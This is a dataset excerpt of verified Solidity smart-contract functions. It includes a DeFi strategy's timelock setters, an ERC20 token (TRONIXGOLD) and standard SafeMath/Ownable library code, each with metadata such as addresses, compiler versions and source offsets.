require(_percent <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 8;
_timelock_data_1 = _percent;
}
| // --------------------
// Change percent of balance to trigger trade
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
32712,
32980
]
} | 16,934 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeMinTradeSplit | function startChangeMinTradeSplit(uint256 _split) external onlyGovernance {
_timelockStart = now;
_timelockType = 9;
_timelock_data_1 = _split;
}
| // --------------------
// Change the minimum trade size before splitting, otherwise sells entire amount
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
33292,
33474
]
} | 16,935 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangeMaximumPoolSize | function startChangeMaximumPoolSize(uint256 _amount) external onlyGovernance {
_timelockStart = now;
_timelockType = 10;
_timelock_data_1 = _amount;
}
| // --------------------
// Change the maximum amount of tokens allowed in this strategy
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
33757,
33944
]
} | 16,936 | ||
StabilizeStrategyBACMICArb | contracts/strategies/StabilizeStrategyBACMICArb.sol | 0xda810f3dc383072cae90b4420bbb0a044c812c20 | Solidity | StabilizeStrategyBACMICArb | contract StabilizeStrategyBACMICArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddr... | startChangePercentExecutor | function startChangePercentExecutor(uint256 _percent) external onlyGovernance {
require(_percent <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 11;
_timelock_data_1 = _percent;
}
| // --------------------
// Change the percent that goes to the executor for non-depositors profit
// -------------------- | LineComment | v0.6.6+commit.6c089d02 | GNU GPLv3 | ipfs://63e4b6a7f9aab4acae86f4e9471b279ad8183c75c53274352fa9f11d8ac6821d | {
"func_code_index": [
34238,
34503
]
} | 16,937 | ||
ReactGoldPass | ReactGoldPass.sol | 0x1ec01776992793decd58e520d82351579141db2f | Solidity | ReactGoldPass | contract ReactGoldPass is ERC721Enumerable, Ownable {
using Strings for uint256;
uint public constant MAX_REACTS = 4096;
string _baseTokenURI;
uint256 private _reserved = 16;
uint256 private _price = 0.256 ether;
bool public _paused = true;
uint256 OneOzBAR = 0;
// withdraw... | setPrice | function setPrice(uint256 _newPrice) public onlyOwner() {
_price = _newPrice;
}
| // Just in case Eth does some crazy stuff | LineComment | v0.8.4+commit.c7e474f2 | MIT | ipfs://4dc68e58eb3a787598d92a0e4e9ba588fdd40ee721d9c61eb2fb9b8039b10d45 | {
"func_code_index": [
2647,
2745
]
} | 16,938 | ||
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | TRONIXGOLD | function TRONIXGOLD() public {
symbol = "TRXG";
name = "TRONIX GOLD";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0x95a96a9fab04Fdf71f37807246408973b30d29e1] = _totalSupply;
Transfer(address(0), 0x95a96a9fab04Fdf71f37807246408973b30d29e1, _totalSupply);
}
| // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
457,
803
]
} | 16,939 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
991,
1112
]
} | 16,940 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
1332,
1461
]
} | 16,941 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
1805,
2082
]
} | 16,942 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double... | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
2590,
2798
]
} | 16,943 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return... | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - S... | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
3329,
3687
]
} | 16,944 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
3970,
4126
]
} | 16,945 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// --------------------------------------------------------------------... | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
4481,
4798
]
} | 16,946 | |
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | function () public payable {
revert();
}
| // ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
4990,
5049
]
} | 16,947 | ||
TRONIXGOLD | TRONIXGOLD.sol | 0x190e2028060fa49adefa5e1f47c8d7be0cbe5063 | Solidity | TRONIXGOLD | contract TRONIXGOLD is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferAnyERC20Token | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------ | LineComment | v0.4.21+commit.dfe3193c | bzzr://192d285726adc998d2f5bb6b4f99301ba1b0238452db11be09ccdaf8a793f94b | {
"func_code_index": [
5282,
5471
]
} | 16,948 | |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
//... | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Multiplies two numbers, reverts on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
96,
534
]
} | 16,949 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
//... | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
654,
953
]
} | 16,950 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
//... | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
| /**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1076,
1231
]
} | 16,951 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
//... | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
| /**
* @dev Adds two numbers, reverts on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1304,
1459
]
} | 16,952 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
//... | /**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
| /**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1605,
1734
]
} | 16,953 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Initializable | contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the ini... | /**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable co... | NatSpecMultiLine | isConstructor | function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effecti... | /// @dev Returns true if and only if the function is running in the constructor | NatSpecSingleLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
805,
1572
]
} | 16,954 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Ownable | contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the send... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | initialize | function initialize(address sender) public virtual initializer {
_owner = sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
350,
452
]
} | 16,955 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Ownable | contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the send... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @return the address of the owner.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
515,
599
]
} | 16,956 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Ownable | contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the send... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | isOwner | function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
| /**
* @return true if `msg.sender` is the owner of the contract.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
850,
947
]
} | 16,957 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Ownable | contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the send... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
| /**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1228,
1359
]
} | 16,958 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Ownable | contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the send... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1531,
1645
]
} | 16,959 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | Ownable | contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the send... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | _transferOwnership | function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1790,
1982
]
} | 16,960 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 ... | /**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/ | NatSpecMultiLine | mul | function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
| /**
* @dev Multiplies two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
234,
542
]
} | 16,961 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 ... | /**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/ | NatSpecMultiLine | div | function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
| /**
* @dev Division of two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
632,
896
]
} | 16,962 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 ... | /**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/ | NatSpecMultiLine | sub | function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
| /**
* @dev Subtracts two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
984,
1165
]
} | 16,963 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 ... | /**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/ | NatSpecMultiLine | add | function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
| /**
* @dev Adds two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1248,
1429
]
} | 16,964 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 ... | /**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/ | NatSpecMultiLine | abs | function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
| /**
* @dev Converts to absolute value, and fails on overflow.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
1514,
1648
]
} | 16,965 |
UFragmentsPolicy | UFragmentsPolicy.sol | 0x38611ca1163a560c6f897d9ac5143344205118ff | Solidity | UInt256Lib | library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a) internal pure returns (int256) {
require(a <= MAX_INT256);
return int256(a);
}
} | /**
* @title Various utilities useful for uint256.
*/ | NatSpecMultiLine | toInt256Safe | function toInt256Safe(uint256 a) internal pure returns (int256) {
require(a <= MAX_INT256);
return int256(a);
}
| /**
* @dev Safely converts a uint256 to an int256.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://c9a5dd1f51983eea93fca482c10f928689d1fcd1ccff78d5b57f1a21a7911e58 | {
"func_code_index": [
160,
